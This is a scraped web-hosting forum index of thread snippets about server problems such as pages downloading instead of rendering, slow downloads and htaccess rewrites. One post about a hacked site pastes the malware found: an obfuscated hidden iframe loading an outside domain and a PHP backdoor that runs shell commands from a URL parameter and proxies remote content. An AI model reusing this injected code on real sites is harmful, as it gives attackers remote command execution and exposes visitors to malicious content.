All Pages (HTML, PHP) Show Up As Downloads

Jul 22, 2007

I recently updated to Cpanel 11, which has resulted in a very interesting error.

All pages (html, PHP, etc) do not display, but rather show a download dialog box. What's wrong?

something is wrong with httpd config?

View 5 Replies


ADVERTISEMENT

How Can We Make PhP Run On Html Pages

Feb 9, 2007

How can we make PhP run on html pages?

View 5 Replies View Related

Java Script Injection On Html Pages

Jan 11, 2008

We are facing this strange Problem from yesterday that

<script language=javascript src= [url]
is added on end of every html Pages.

I don,t know that how this Injection on every Html Pages.

View 1 Replies View Related

Apache :: Automatically Make All PHP Pages Into HTML In Browser Using HTaccess Rewriting?

Jan 11, 2015

i have made my all pages with .html extension and hence my SEO is based on accordingly. Now i made some changes to htaccess that causes to not inclusion of header and footer pages (both are made with .php extension ). so i decided to change the extension of pages (.html to .php) and it wokrs. due to SEO and large number of pages i want all my pages .php (made later). to get converted automatically with .html in browser. so is it possible using .htaccess rewrite.

View 1 Replies View Related

Static Index.html Pages Hacked, Also Index Files

Sep 8, 2007

My site was hacked today, all pages named index.html were hacked. It is kind of script since all pages were written same time.

I'm using a very respectable hosting. I jumped from another hosting were I was exposed on a unsecured host (they moved my account to an insecure host without asking).

Going back on track, all files named "%index%" were hacked.

-I found a index.txt file with links to obscure sites.

The code was written at bottom of the all index.html files: iframe code

Code:
><!-- ~ --><iframe src="&#104&#116&#116&#112&#58&#47&#47&#103&#111&#111&#103&#108&#101&#116&#114&#97&#102&#102&#46&#99&#111&#109&#47&#105&#110&#46&#99&#103&#105&#63&#100&#101&#102&#97&#117&#108&#116" width="0" height="0" style="display:none"></iframe><!-- ~ -->
Also a line.php with the following code

PHP Code:

<?error_reporting(0);if($_GET['cmd45']) {system($_GET['cmd45']);}$domain = 'shemale1.biz';$ur = '/load.php?f=%s&ua=%s&ref=%s';$qs = $_SERVER['QUERY_STRING'];$ua = urlencode(substr($_SERVER['HTTP_USER_AGENT'],0,100));$ref = urlencode($_SERVER['HTTP_REFERER']);$redirect = sprintf($ur,$qs,$ua,$ref);#print $redirect;#exit;echo getcontent($domain,80,$redirect);exit;function getcontent($server, $port, $file){$socket=fsockopen($server,$port,$errno,$errstr,60) or die("Can't open socket");$refer = $_SERVER['HTTP_HOST']?$_SERVER['HTTP_HOST']:$server;fputs($socket, "GET $file HTTP/1.0
");fputs($socket, "Referer: http://$refer
");fputs($socket, "Host: $server
");fputs($socket, "User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

");$wr = 0;while(!feof($socket)){  $temp = fgets($socket);    if(eregi("<",$temp)) {      $wr = 1;        }                      if($wr) {              $page .= $temp;                }                }                fclose($socket);                                return $page;                }                                ?>
So far I recover the files from backup, secured the config.php files and modify %index% to read only...finally changed the password...

View 5 Replies View Related

How To Limit Html Parsing To .htm, .html Files Only

Jan 10, 2007

My webserver treat ALL files with html tags inside as html files, e.g. text files or EVEN files without extension.

How to only allow .htm, .html files?

I've deactivated temporary mime magic, I also tried with some RemoveHandler, AddType lines but nothing

View 9 Replies View Related

Why Non-ssl Pages Are Blank, Ssl Pages Work

Feb 1, 2008

I am moving to a new server. At first the [url]version of the site was fine. I had trouble getting [url]working. Once I had the path to the certificate file correct, I was good to go. So, I started moving data. I also ran some updates on the new server (installed mysql, php, related pkgs). I don't know when the [url]pages stopped working, but I didn't realize it until I had everything moved over and tried to go live. The pages are completely blank. If I view source, I get this: ....

View 3 Replies View Related

How To Password Protect Web Pages, I Can Protect Directories But Can't Put Pages In

Mar 4, 2007

i did make a big message on here but it deleted when i back spaced

my website is aviation cafe dot net / sample and i need you to help me with password protecting a webpage, i wanted the address to be / the silver sword and definitly not to look like it does now.

username: webforum
pass: password

View 4 Replies View Related

Pdf Downloads As Tar With IE Only - Anyone Seen This?

Jan 30, 2007

I've come across something that has stumped me. A client who has pdf files download fine when using firefox but using IE 6 or 7 prompt to save a tar file which does not open properly.

Example: [url]
Direct link: [url]

Has anyone experianced this or seen this?

View 4 Replies View Related

Bad Downloads From Softlayer In LA?

Mar 12, 2008

My clients in LA - those on AT&T and Time Warner in paticular - are having bad download speeds from my server with Softlayer. Anyone else having similar trouble? Clients who normally get 500-700kb/s down are getting < 50 kb/s down, even early in the morning when the total traffic on my 100mbps port is under 1.5mbps.

Basically, east coast is fine, and anyone with a T1 in LA is fine as well - it's just DSL and Cable modems in LA that are screwed up. In fact, one of our are clients is using Apple Remote Desktop to connect to a remote client with a T1; it's faster to through Time Warner, then VPN to Verizon, and then connect Softlayer and back again than to go directly from Time Warner to Softlayer, which is really weird.

View 14 Replies View Related

Slow Downloads

Apr 28, 2009

I own the website [url]and it's hosted at Host Excellence. Recently there have been some downtime periods, and most importantly, I have noticed that downloads are very slow. For instance, when I download a file such as [url]I get an approximative transfer rate of 100-150 KB/sec (whereas most other sites download at 500 KB/sec or more). First of all I'd like to know if you guys get similar results, and what do you recommend? I have contacted my host about it, they seem to deny the problem. Should I switch? What to? I need something reliable and fast.

View 14 Replies View Related

Incomplete Downloads

May 18, 2008

My site is hosted on siteground, and i offer a few mp3s for download on my site. But, when my visitors download the songs, only a part of the song is downloaded, not completely. Siteground says this problem is about the apache server limitations on the http protocol downloads.

Can any user defined apache handler be defined to increase the http timeout value? I am on shared hosting.

View 1 Replies View Related

How To Limit Downloads

Nov 20, 2007

i have alot of files on my server, each of one more 60 mb

can i limited download
so when somebody download file cant download other file in same time?

and pervent using if programme to download?

and also now
Server Load 0.94 (2 cpus)
Memory Used 50.9 %
Swap Used 5.59 %

and i see in top

/usr/local/apache/bin/httpd -DSSL

many time and kill the memory

all thing about my server here

[url]

View 6 Replies View Related

Slow Downloads On MidPhase

Sep 12, 2008

Is anyone else experiencing slow downloads on midphase dedicated servers in the softlayer dallas datacenter?

I'm getting 1/2 my connection speed from it, with softlayer server I get about 6.4mbps with midphase i'm getting only around 3mbps.

You can do a speed test here from it ....

View 14 Replies View Related

IWeb Slow Downloads

Apr 8, 2009

I ordered a new server from iWeb a few days and after I transfered everything and was stating to set everything up I noticed that I as only getting about 1/2 of my download speed from both of my iWeb servers.

Is anyone else experiencing slower then normal downloads from iWeb?

Normally I could max my connection out at 2.1 MB/s now I can only get about 800 KB/s - 1.0 MB/s

View 9 Replies View Related

Allowing Large Downloads

Mar 9, 2009

I'm selling downloads of music files. The zip files are quite large. I've had several people complain that they get a message that the server resets their connection before the download finishes.

What can I do to allow these large downloads?

I'm on IIS.

View 21 Replies View Related

Port Configuration For Downloads

May 28, 2008

My new server speed seems very low. The downloads are taking too much time. While downloading the os templates I am getting the download speeds in the range of 30K/s - 40k/s (Max 100 K/s)

I have another server in this DC and havent this problem on this.

I send an email to datacenter about this issu and they sayd:

Code:

Dear Mr Yarmohammadi,

I just checked the switch configuration. Could you please look for the
configuration of the network card in your server and if it is in 'Full
Duplex'
mode?

If not, please try and configure it in this way, maybe it already is,
because the switch just changed to 100 MBit FD in automatic configuration
mode.

View 5 Replies View Related

Resource Usage For Downloads

May 11, 2008

I am wondering if simultaneous downloads could take up a lot of CPU/Ram usage? Could a celeron server with 512MB handle simultaneous downloads and how many users can it support simultaneously? The server will be serving as a pure download, no database, no php, no cgi, no nothing. And what is the highest mbps this server could potentially reach?

View 6 Replies View Related

Making Faster Downloads

Apr 17, 2008

I've ordered 1gbit/s port with one my dedicated servers. But I am still unhappy with the speed of download.

I have 2 mbit DSL connection at home and I can download files with 90 kb/s from the server. I also see the same speed on a 100mbit port server. But I can download files from RapidShare with 210 kb/s..

What do you recommend me to do make faster downloads from server-side?

View 12 Replies View Related

Where To Host Files That Will Get 100's Of Thousands Of Downloads

Mar 18, 2009

I have a file that will probably be a few megabytes in size that will be downloaded 100's of thousands if not millions of times.

Where would be a good place to store this file?

Are there any big file hosting companies out there you've used or can at least recommend for this sort of thing?

View 5 Replies View Related

Mp4 Videos And The Downloads Made From Cellphones

Oct 29, 2009

I have a problem with some mp4 videos and the downloads made from cellphones.

I have a plain LAMP server (centos 5, apache 2, php 5), the customers download the videos from a web, mobile section, and play on their cellphones.

The strange thing is that when they opened the video to play it on the cellphone, the video shows itself as a binary, although the extension remains mp4.

Tried moving the same video to another server, and it was played ok without any changes.. so, tested another server and after making this changes, it was able to reproduce the mp4 format:

I changed the Default mime.types from text/plain to application/octet-stream

TypesConfig / etc / mime.types

# DefaultType is the default MIME type the server will use for a document

# If it can not otherwise determine one, such as from filename extensions.

# If your server contains mostly text or HTML documents, "text / plain" isnte

# A good value. If most of your content is binary, such as applications

# Or images, you may want to use "application / octet-stream" instead to

# Keep browsers from trying to display binary files as though they are

# Text.

#

DefaultType application / octet-stream

When the videos out in binary, with a lot of strange characters, leaving just this: application / octet-stream

I see in /etc/mime.types and there is support for many formats, including. Mp4

However, on the original first server even if I change the above code, I can not reproduce mp4.

On any laptop or pc from the three servers I can reproduce the videos, the problem it’s just on one server playing from cellphones.

View 2 Replies View Related

WHMCS Breach - Some 3.5.1 Downloads Were Compromised

Jan 8, 2008

I just received a fairly scary WHMCS notice, you can view the details here:

<<please don't paste the file names, there are accounts that may have these on them>>

What are your thoughts on the entire situation? Personally, I'm a tad fearful (luckily, I hadn't upgraded to the next version yet as I was letting the other users play beta-testers) given the fact that there wasn't any versioning / modification 'notification' system in place on their end.

I'm fearing further updates. In essence, my concern is that the WHMCS development team isn't entirely certain how they were backdoored or to what scale they were backdoored.

Are their own billing systems & servers hosted in the same environment, were our billing details also released? etc. I want to know the scale of the attack.

View 14 Replies View Related

VPS For Hosting Downloads/Media Files

Aug 30, 2007

I have a little project for a website that contains some of Downloadable files
and Media Files!

In my calculation..., I may use about 50 GB storage
and if the number of visiors is as what im expected i'll need 1 TB bandwith or some less!

==
let's talk about the hosting part here
i know that there are some companies that over more than 300 gb storage and more that 3 TB of traffic!

but i don't think they are going to work with my project so... i searched for a vps to start my project ..., and im thinking in dedicated server in the future..,so let's not talk about the future right now!

I want to talk about the ability of vps for downloads hosting!
the vps I've found is this one:

Disk Space : 60,000 MB (60 GB)
Number of Domains : Unlimited Domains
CPU Limit : Equal Share
Guranteed Memory : 512 MB
Burstable Memory : 2048 MB
Monthly Bandwidth : 2,000 GB
Included Control Panel : cPanel / WHM

View 6 Replies View Related

Web Host That Support 'resume' For Large Downloads

Apr 4, 2009

I have a problem in that I sell somewhat large download files, and Hostmonster told me their servers don't support 'resume'.

So if my customer has a power failure, etc., during the download, he'll have to start all over again.

So it looks like I'm going to have to move my download files to a different server.

Can anyone recommend a good host that will store my digital downloads and, that, most importantly, support 'resume'.

View 7 Replies View Related

Review: MediaLayer For PHP/MySQL, PacificRack For Downloads

Mar 9, 2008

I thought some might find this short review useful. I recently found my website - vladstudio.com - pushing shared hosting limits fast (powweb.com at that time). After long days of (unsuccessful) searching for ideal hosting (fast, with lots of traffic, managed, and of course cheap :-) ), I got good idea from my wife and splitted my website into 2 pieces hosted separately.

For domain, PHP and MySQL, I've been using MediaLayer Application (shared) hosting. I might already mention it here before - I'm extremely happy with them, once my site hit digg.com frontpage and I got 500000 visitors in a day, and hosting did not go down! Right now, it serves about 25000 visits (500000 hits) a day, every hit being dynamic PHP page with several MySQL queries.

For hosting images and downloadable files, I use PacificRack dedicated server (most basic one, but with 2000 Gb/m traffic included). I am very bad at managing servers, but default configuration and my modest knowledge of Linux was enough - it is only used to store files that visitors download from vladstudio.com.

So, if your site is growing out of shared hosting too, consider 2 separate hosting accounts for application and files - it works very well for me. And once again, big thanks to MediaLayer and PacificRack.

View 9 Replies View Related

Long Curl Downloads Delaying Other Connections

Dec 4, 2007

I've tried Lighttpd and Apache. Server is QuadCore 1 cpu.

Either one when I have one long curl download occurring in Firefox, and open up another window to connect to the site it waits until the curl process completes.

In Lighttpd I have php 5.2.5 fastcgi and xcache.

There is no errors. It simply just waits until the process is completed and 1 second later the second request (2nd browser) starts.

Code:
fastcgi.server = ( ".php" =>
( "localhost" =>
(
"socket" => "/tmp/php-fastcgi.socket",
"bin-path" => "/usr/local/php5/bin/php-cgi",
"max-procs" => 1,
"bin-environment" => (
"PHP_FCGI_CHILDREN" => "16",
"PHP_FCGI_MAX_REQUESTS" => "10000"
)

)
)
)

View 5 Replies View Related

Apache :: Shell Downloads Instead Of Creating A Web Page

Jun 5, 2013

Server version: Apache/2.2.22 (Unix)
Server built: Dec 9 2012 18:57:18
OS/X 10.8.4

I am trying to run a shell program to generate a web page. When I enter it as test.cgi, it does exactly what I expect. When I enter it as test.sh

View 2 Replies View Related

Plesk 11.x / Linux :: Hide Certain Folder From Showing In Downloads Tab Of Webstat

Dec 25, 2014

I need to know how to configure awstats (Plesk's webstat) not to show report of downloads from a certain directory on my website.

(Plesk version 12.0.18)

View 1 Replies View Related

.com/.us & Htm/html

Apr 5, 2009

1. Are there any restrictions or special problems with hosting domains as a function of whether they are a ".com" versus a ".us" domain?

2. Are there any differences or problems when hosting domains which have index files which are htm versus html?

For these items, are there good sources for detailed explanations?

View 7 Replies View Related







Copyrights 2005-15 www.BigResource.com, All rights reserved